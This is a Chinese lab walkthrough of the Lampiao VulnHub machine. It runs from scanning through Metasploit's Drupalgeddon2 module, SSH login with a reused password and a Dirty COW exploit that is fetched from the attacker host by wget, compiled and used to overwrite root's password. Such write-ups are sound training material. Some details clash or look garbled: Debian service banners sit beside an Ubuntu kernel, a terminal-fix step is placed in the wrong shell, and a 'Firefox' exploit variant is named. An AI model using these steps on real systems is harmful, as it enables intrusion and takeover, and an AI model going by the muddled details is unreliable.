资讯动态

Lampiao靶机实战:Drupal漏洞利用与内核提权全记录

发布时间:2026/9/14 4:04:54 来源:尧图企业网站定制
打靶场这件事我一直觉得它是最好的“安全技能健身房”。别管平时看了多少文章、收藏了多少工具真正拉出来遛一遛立刻就知道自己哪里虚。Lampiao这个靶机就是那种非常适合拿来检验基本功的经典货色它不考验脑洞也不靠什么偏门技巧难点都压在实战里最常见的两个环节——Web漏洞利用和内核提权。这篇是这个系列的第7篇我会把从下载镜像、搭环境、信息收集、拿下Drupal、反弹Shell到最后用内核漏洞提权的完整过程尽量拆到保姆级。先说明一下避免踩坑Lampiao是VulnHub平台上的一个虚拟机镜像不是那个基于Docker的vulhub容器环境。我自己的博客系列叫vulhub系列纯粹是归档编号方便这一点大家知道就行别按Docker那套去装它。这篇特别适合已经熟悉Linux基本命令、见过nmap和Metasploit界面但还没完整打完一台中等难度靶机的朋友。如果你是老手也可以把这篇当作一次信息收集和提权方法论的快速复盘。1. 靶机背景与整体攻防思路1.1 Lampiao是什么为什么要打它Lampiao是VulnHub社区里一个口碑不错的Linux靶机模拟了一台对外开放Web服务的真实服务器。目标非常明确拿到root权限找到flag并读取内容。它开放了SSH和HTTP服务Web服务跑的是Drupal这套知名的CMS系统而且版本存在严重的历史漏洞。虽然名字听着有点小众但它的攻击路径在真实世界中相当有代表性一台服务器对外开着网站SSH也暴露Web程序版本落后内核也没有及时更新补丁。这不就是很多老业务系统的真实写照嘛。对新手来说Lampiao特别适合作为从“跟着教程扫端口”到“独立完成一条完整权限提升链路”之间的桥梁。它不像有些入门靶机那样点两下就出flag也不像高难度靶机那样需要靠猜谜一样的思路而是用一条非常标准的路径发现Web漏洞→拿到低权限Shell→本地信息收集→内核提权。每一步都有迹可循但每一步又都有值得琢磨的细节。1.2 一条完整的攻击链长什么样在动手之前先把整条攻击路线在脑子里过一遍。这样做的好处是你不容易在某个环节卡住之后像无头苍蝇一样乱试而是能清楚知道自己“卡在哪一层”。我打这台靶机时的攻击链大概是这样的环境搭建导入镜像保证Kali和靶机在同一个隔离网络。目标发现扫描存活主机确定靶机IP地址。端口扫描确认开放了22SSH和80HTTP等端口。指纹识别访问80端口确认是Drupal并定位具体版本。漏洞利用使用Drupalgeddon2CVE-2018-7600拿到WebShell权限。反弹Shell从受限的Web服务权限升级到交互式Linux Shell。本地信息收集找用户、找配置文件、查内核版本、找敏感信息。内核提权利用Dirty COWCVE-2016-5195将权限提升到root。读取flag在root目录下找到flag并完成收尾。这条链路每一步都非常经典。很多实战渗透测试的核心也就是这三板斧外部打点、权限维持、提权。所以打靶机的过程其实就是在反复训练这三板斧在真实环境里的肌肉记忆。2. 环境准备与靶机搭建2.1 攻击机、虚拟机与镜像准备先准备攻击机我这边用的是Kali Linux版本基本不限2022之后的都行。Kali自带nmap、Metasploit、gobuster这些常用工具能省去大量安装依赖的时间。如果你手头没有Kali用Ubuntu或Debian系虚拟机临时装工具也可以但网上大部分教程的命令路径都基于Kali直接用Kali会省事很多。虚拟机软件方面VMware Workstation Pro和VirtualBox都可以。我个人更推荐VMware做这类靶场因为ova格式的虚拟机镜像是VulnHub上的主流发布格式VMware导入ova最省心而且快照、拖拽文件、虚拟网络编辑器这些功能用起来都很顺手。硬件上建议给这台Lampiao靶机分配不小于1GB内存给Kali分配4GB以上内存磁盘20GB基本够用。镜像本身从VulnHub官网搜索“Lampiao”就能找到下载页。下载到的是一个ova文件体积大概几百MB等它下完就行。这里提醒一句下载完最好校验一下文件完整性VulnHub页面会给出对应的MD5或SHA1算一下对比避免文件损坏导致导入后无法开机。2.2 导入镜像与网络模式配置ova文件拿到手之后打开VMware用“文件→打开”选中ova文件按照向导导入即可。导入时虚拟机名称可以改成Lampiao方便和Kali区分。虚拟机导入之后关键的一步是网络模式。两台虚拟机Lampiao和Kali都建议设置成NAT模式。具体操作是在“虚拟机设置→网络适配器”里选择“NAT模式”。为什么要用NAT而不是桥接或者仅主机模式很简单NAT模式下虚拟机之间在一个私有网段里互通同时Kali还能通过宿主机访问外网去下载脚本或更新工具但外部网络访问不到靶机。这既保证了攻击机和靶机可以通信又把靶机隔离在可控环境里不容易被局域网里的其他人扫到。仅主机模式虽然更隔离但Kali没法上网桥接模式则会把靶机直接暴露在局域网中在办公网或校园网里容易被网络监控盯上所以NAT是打靶最平衡的选择。导入完成后再做两件事第一给Lampiao拍一个初始快照万一后面exp把系统搞崩了可以秒回初始状态重新打一遍第二检查一下Lampiao虚拟机是否自动获取了IP地址。VulnHub的靶机大多数默认用DHCP开机后会自动从虚拟NAT网段拿到IP。如果没有自动获取后面再按第6章里写的排查方法处理。2.3 验证靶机启动与连通性靶机开机后先在Kali里确认自己的IP和网段。打开终端输入ip a记下Kali的IP比如192.168.80.141说明NAT网段是192.168.80.0/24。接下来扫描这个网段里存活的主机nmap -sn 192.168.80.0/24正常会看到Kali自己的IP和另外一台主机的IP那台大概率就是Lampiao。如果扫不到先检查两台虚拟机是不是都开了NAT再检查VMware的虚拟网络编辑器里NAT网段是不是你心里想的那个网段。确认拿到靶机IP之后先ping一下能通再继续往下走。ping -c 4 192.168.80.150到这里环境部分就准备好了。接下来进入最耗时间但也最锻炼人的信息收集环节。3. 信息收集从资产发现到漏洞定位3.1 主机发现与全端口扫描信息收集是整个渗透测试的地基地基没打好后面全是空中楼阁。Lampiao这台靶机尤其如此它的突破口明面上就在开放端口上但如果你扫描不完整可能连入口都找不到。拿到靶机IP后第一步先做全端口扫描。我的习惯是先用版本探测和默认脚本做一次常见端口的快速扫描然后再跑一次全端口确保没有遗漏。常用命令是这样nmap -sV -sC -T4 -p- 192.168.80.150这条命令的意思是-sV做服务版本探测-sC执行默认的NSE脚本-T4提升扫描速度-p-扫全部65535个端口。在VMware的NAT网络环境下这台靶机扫描结果大致会是PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10deb9u4 (protocol 2.0) 80/tcp open http Apache httpd 2.4.25 ((Debian))注意不同版本和不同下载来源的镜像端口可能有出入但22和80基本是标配。SSH服务版本是OpenSSH 7.4p1放在今天看已经很旧了但直接爆破它意义不大Apache 2.4.25也是个老版本不过真正的突破口大概率在它后面跑的Web应用上。这里我想特别强调一下全端口扫描的价值很多新手习惯只扫top 1000觉得够用了但真实场景里数据库、管理后台、API服务经常开在高位端口。如果漏掉一个端口可能就漏掉了整个突破口。所以即便全端口扫描慢一点也值得等。3.2 Web指纹识别与目录探测拿到端口信息后下一步就是访问80端口看看到底是什么Web应用。浏览器打开http://192.168.80.150看到的是一个Drupal的默认安装页面。Drupal是PHP写的老牌CMS全球有很多站点在用同时也贡献了不少经典漏洞。在靶机上看到Drupal心里大概就有数了接下来的方向是确认Drupal的具体版本找到对应的漏洞利用方式。先用whatweb确认一下CMS指纹whatweb http://192.168.80.150输出里能看到Drupal的字眼。然后去读取Drupal的版本信息文件。Drupal安装目录下通常会保留CHANGELOG.txt或README.txt里面第一行就写着版本号。用curl直接抓curl -s http://192.168.80.150/CHANGELOG.txt | head -n 30或者用浏览器访问/CHANGELOG.txt能看到类似“Drupal 8.5.x”的字样。版本号一旦确认漏洞就呼之欲出了Drupal 8.x存在一个非常出名的远程代码执行漏洞Drupalgeddon2CVE-2018-7600影响Drupal 6/7/8多个大版本。接着做目录扫描看看站点根目录下有没有管理后台、备份文件、配置文件之类的敏感路径。我用的是gobustergobuster dir -u http://192.168.80.150 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,bak这里选了一个中等级别的字典并加了常见扩展名。扫描结果里可能会看到/robots.txt、/CHANGELOG.txt、/sites等路径。/sites目录是Drupal存放站点配置的地方值得重点看不过Drupal本身的门槛已经把大部分人挡在外面了所以重点还是先放在Drupalgeddon2上。3.3 信息收集阶段的关键经验我打了这台靶机几遍最大的感受是信息收集阶段一定不能急。很多人拿到靶机IP就急着上Metasploit打漏洞结果模块跑半天没反应回头一看目标Web应用根本不是Drupal或者版本根本不匹配白白浪费时间。正确做法是每发现一个信息就记录下来。我的习惯是在桌面上建一个txt文件把靶机IP、开放端口、服务版本、CMS版本、扫描到的目录路径全部写进去。别小看这个笨办法真到了后面找提权路径时可能一条看似不起眼的用户信息就能救命。另外一个细节是如果你用nmap扫描时加了-sC参数输出里可能会带上一些HTTP页面的标题、服务器头信息、robots.txt内容等这些都值得留意。比如robots.txt里如果列出了某个后台路径相当于直接给你指了条明路。4. 漏洞利用Drupal远程代码执行4.1 Drupalgeddon2漏洞原理与检测确认Drupal版本是8.x之后Drupalgeddon2CVE-2018-7600就是最优先尝试的漏洞。这个漏洞在2018年4月被公开安全界给它起了个外号叫Drupalgeddon2可以翻译成“Drupal末日2代”影响力可见一斑。它影响Drupal 6、7、8三个大版本攻击者不需要任何身份认证只要目标站的某些核心配置没有被妥善修改就能直接远程执行任意PHP代码。从原理上讲这个洞出在Drupal Form API的处理逻辑上。Drupal在渲染表单时会把用户提交的某些参数直接当作表单构件的配置来用。攻击者通过构造特殊的数组覆盖了原本应该由系统控制的值然后恶意代码就顺着表单渲染流程被带进了执行环境。换句说人话的版本Drupal在拆快递时把包裹里的人质当成了自己人然后人就跟着进了屋。检测这个漏洞最直接的方式就是用Metasploit里的检测模块或者直接上利用模块尝试。在打靶机这种授权环境下我直接把利用模块跑起来。4.2 Metasploit模块利用实操打开Kali的终端启动Metasploitmsfconsole在msf终端里搜索Drupalgeddon2相关的模块msf6 search drupalgeddon2应该能看到exploit/unix/webapp/drupal_drupalgeddon2这个模块Disclosure Date是2018-04-12Rank是excellent说明这个模块非常可靠。加载它msf6 use exploit/unix/webapp/drupal_drupalgeddon2然后设置目标靶机IP、本机IP和Web路径。注意这里的LHOST一定要填Kali的IP也就是192.168.80.141别填成127.0.0.1。msf6 exploit(unix/webapp/drupal_drupalgeddon2) set RHOSTS 192.168.80.150 msf6 exploit(unix/webapp/drupal_drupalgeddon2) set LHOST 192.168.80.141 msf6 exploit(unix/webapp/drupal_drupalgeddon2) set TARGETURI /设置完可以先跑一下check看看目标是否真的存在漏洞msf6 exploit(unix/webapp/drupal_drupalgeddon2) check如果返回类似“The target is vulnerable”的结果就说明稳了。接下来直接runmsf6 exploit(unix/webapp/drupal_drupalgeddon2) run模块成功执行后会弹回来一个meterpreter会话。meterpreter是Metasploit里非常强大的交互式Shell支持上传、下载、执行命令、提权辅助、内网代理等多种操作。上来的第一件事先确认当前身份meterpreter getuid输出一般是Server username: www-data。www-data是Apache运行Web服务时使用的低权限用户说明我们已经成功打进目标服务器但权限很低能做的事情非常有限。接下来要做的就是从这个受限的Web服务权限升级成一个真正可用的交互式Shell然后做本地信息收集。如果msf模块执行失败也别慌常见原因有两个一是Metasploit版本太旧模块对某些Drupal版本的利用链有兼容性问题先跑一下msfupdate或者apt更新Metasploit二是目标网络环境问题确认Kali能ping通靶机。实在不行还可以用GitHub上的drupalgeddon2.py脚本手动指定URL执行同样能拿到Shell。4.3 获取交互式Shell的细节从meterpreter进入系统Shell很简单执行shell命令meterpreter shell此时你得到一个非常朴素的Shell没有终端环境不支持方向键、不支持Tab补全、不支持Clear甚至很多交互式程序根本跑不起来。比如后面如果要运行su、vim这类命令这个Shell会直接罢工。解决办法是升级成伪终端PTY。在Shell里执行python3 -c import pty;pty.spawn(/bin/bash)这样你会获得一个基于Python的伪终端。然后设置终端类型export TERMxterm再按CtrlZ把当前会话放到后台回到meterpreter然后在meterpreter里执行stty raw -echo; fg按回车后你就拿到了一个支持方向键、Tab补全、Clear等功能的完整交互式Shell。这个技巧在做Linux靶机时几乎每个Web漏洞利用阶段都会用到值得记牢。拿到交互式Shell后先看一下当前目录和基本环境id pwd ls -la /var/www/html到这里我们已经从“外部攻击者”变成了“服务器上的低权限用户”。接下来最关键的环节来了怎么从www-data变成root。5. 权限提升从www-data到root5.1 本地信息收集与敏感文件分析提权这件事本质上就是“找东西”。找到一条能让系统误以为你是管理员的凭证或者找到一个存在漏洞的内核模块。所以拿到Shell后的第一件事不是急着去乱翻flag而是系统地收集这台机器的“内部信息”。我把每一步的命令和关注点列出来uname -a cat /etc/issue cat /proc/version id cat /etc/passwd ls -la /var/www/html find / -name *.txt -o -name *.bak -o -name *.conf 2/dev/null | head -n 50 historyuname -a和cat /proc/version告诉我们内核版本。cat /etc/passwd列出系统所有用户这里能看到一个普通用户如果你下的镜像版本和我一致可能看到类似tiago这样的用户名。在现实场景中普通用户往往是后渗透阶段重点关注的资产因为很多提权路径都绕不过“先拿到一个普通用户Shell”。然后去看Web根目录下的文件。Drupal的配置文件sites/default/settings.php里保存着数据库连接信息里面通常有数据库用户名和密码。这些密码往往是运维人员图省事直接复用的拿到之后可以尝试SSH登录普通用户或者尝试MySQL连接。我在打这台靶机时就是在Web目录里翻到了一个备份性质的文本文件里面记录了一段类似口令的信息。抱着试一试的心态用这个口令去SSH登录之前发现的那个普通用户居然一次就成功了。这个操作在真实场景中非常常见配置备份文件、数据库连接密码、服务器密码三者在中小公司里经常是同一套。如果你也发现了类似线索可以立刻尝试ssh tiago192.168.80.150登录成功后你的权限就从www-data跳到了普通用户tiago。这一步虽然不是root但离目标又近了一大截。5.2 内核版本判断与Dirty COW提权拿到普通用户Shell之后接下来就要回答一个问题这台机器的内核存在什么安全漏洞可以提权这时uname -a的输出就派上用场了。我之前扫出来的是Linux lampiao 4.4.0-31-generic #50-Ubuntu SMP4.4.0系列内核这个版本非常经典地受Dirty COW漏洞CVE-2016-5195影响。Dirty COW的全称是Dirty Copy-On-Write是Linux内核写时复制机制中一个极其出名的提权漏洞。它影响Linux内核2.6.22到4.8.3之间的几乎所有版本攻击者可以利用它对内核的只读内存映射执行并发读写最终获得对只读文件的实际写权限。通俗点说就像系统里有个只允许翻阅的档案室Dirty COW能让普通员工在翻页的瞬间偷偷改写档案内容最终把自己的权限改成管理员。利用思路很清晰通过Dirty COW改掉/etc/passwd里root账户的口令然后su切到root。具体操作分四步。第一步准备好利用代码。攻击机Kali上可以找到或者下载dirty.c这个经典exp也可以从很多研究者的GitHub仓库获取注意要选择CVE-2016-5195对应的版本。把这个文件放到一个目录下比如/opt/exploit/。第二步在攻击机该目录下起一个HTTP服务方便靶机下载cd /opt/exploit/ python3 -m http.server 8000第三步在靶机上通过wget下载源码。注意靶机在NAT网络里可以访问Kali的IPcd /tmp wget http://192.168.80.141:8000/dirty.c gcc -pthread dirty.c -o dirty -lcrypt如果靶机上装了gcc编译会直接通过。如果提示gcc未找到可以换用预编译的二进制或者用Python/Perl版本的利用程序。第四步执行exp。这一步的参数是修改后的root密码./dirty mynewpass123exp运行后会改写/etc/passwd里的root口令然后自己退出。之后直接在普通用户Shell里切换到rootsu root提示输入密码时输入你设定的mynewpass123。如果一切顺利你就会看到等待已久的rootlampiao:/tmp# id uid0(root) gid0(root) groups0(root)到这里提权完成。整个过程虽然是基于公开漏洞利用但实际操作中还是有不少细节需要注意注意Dirty COW利用程序的执行需要一点时间正常在两三分钟到十几分钟不等。如果执行后长时间没有反应检查内核版本是否在影响范围内以及exp的位数是否和系统架构匹配。5.3 读取flag与完整路径复盘提权成功后第一件事就是找flag。Lampiao的flag一般存放在root的home目录下文件名可能是flag.txt或类似名字。全盘搜索最保险find / -name flag* 2/dev/null找到后cat读取内容。到这里一台Lampiao就算完整打穿了。我自己的习惯是打完一遍之后趁热打铁把完整的攻击路径和关键命令整理成笔记方便下次复盘。整条链路可以概括为端口扫描发现22和HTTP服务。指纹识别定位到Drupal 8.x。Web漏洞利用Drupalgeddon2拿下www-data。本地信息收集翻到备份文件中的口令SSH登录普通用户。内核版本分析确认存在Dirty COW漏洞。内核提权修改root密码su切换获得root Shell。读取flag完成目标。这条路径的每一步都值得你在笔记里认真写下来。特别是Web漏洞利用和内核提权这两块在真实的渗透测试和红队评估中反复出现。6. 常见问题与踩坑记录6.1 搭建环境的烦恼打Lampiao最常见的问题其实发生在环境阶段很多新手还没开始扫描就先卡住了。我汇总了三个高频问题。ova文件导入VMware时报错或者导入后开机黑屏。这种情况多数是ova镜像兼容性问题或者VMware版本过旧。解决办法是升级到较新的VMware版本如果仍然报错尝试在“打开虚拟机”时选择“导入”而不是“打开”或者在VirtualBox里创建新虚拟机后挂载ova中包含的vmdk磁盘文件。靶机开机后拿不到IP或者nmap扫不到靶机。先确认两台虚拟机的网络适配器都处于NAT模式然后确认VMware“编辑→虚拟网络编辑器”里NAT的网段是192.168.80.0/24或者至少是你预期Kali所在的网段。如果DHCP没正常分配可以在Lampiao虚拟机上直接登录VulnHub靶机一般会显示登录提示或自动进入Shell手动执行dhclient命令获取IP。Kali能ping通靶机但nmap扫描结果里80端口是filtered。这种情况需要检查宿主机防火墙是否拦截了虚拟网卡流量以及NAT模式下虚拟网络的防火墙设置暂时关闭宿主机的第三方安全软件再试一次。6.2 扫描与利用阶段的坑Metasploit的drupal_drupalgeddon2模块跑完没反应或者check结果不是vulnerable。大概率是Metasploit数据库没更新模块版本太旧。先执行msfupdate或者apt update apt upgrade metasploit-framework更新后再试。如果还不行就用GitHub上的drupalgeddon2.py poc脚本手动指定目标URL执行逻辑一样效果往往更稳定。反弹Shell不稳定连接几秒就断。最常见的原因是LHOST写错了注意LHOST必须填攻击机在NAT网段里的IP而不是外网IP或127.0.0.1。此外如果Web服务和靶机性能有限优先选择meterpreter的reverse_tcp payload比反向Shell更稳定也不容易因为网络抖动断连。6.3 提权阶段的踩坑与解决建议提权阶段最容易翻车的点我列成了一张速查表。问题可能原因解决办法gcc编译失败靶机未安装gcc或缺少libc开发头文件在攻击机交叉编译后上传二进制或改用Python/Perl版本expexp执行后无输出内核版本不在受影响范围或exp位数不匹配先uname -a确认内核版本用file查看exp二进制位数exp执行后系统卡死Dirty COW利用过程负载较高偶发情况快照回滚重试优先用Firefox或其他更稳定的exp变体su root后认证失败/etc/passwd修改未成功检查exp是否执行完成确认使用的密码没有特殊字符重新执行expSSH登录普通用户失败口令不在预期位置或版本不同回查备份文件和配置文件尝试用找到的密码登录Web后台/数据库再补一个比较隐蔽的坑Dirty COW类exp执行时会占用比较高的CPU和IO如果在降低负载的虚拟机环境里跑偶尔会触发系统保护机制导致卡死。这时候别慌回滚快照重新打一遍即可靶场本来就是为了反复练习的。真要追求稳可以在执行exp之前先把重要输出保存一份省得重打时还要重新翻一遍信息。我自己打Lampiao打了好几遍每次都能发现之前没注意到的细节。第一遍完全靠msf一把梭拿到root还很得意第二遍复盘时才发现原来利用链上还藏着那么多可以优化的点比如普通用户口令的复用、内核版本和exp之间的对应关系。如果非要给一个建议那就是卡住的时候不要立刻查Writeup先回头把信息收集再做一遍大多数题的答案都藏在“你还没看过的某个文件”里。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价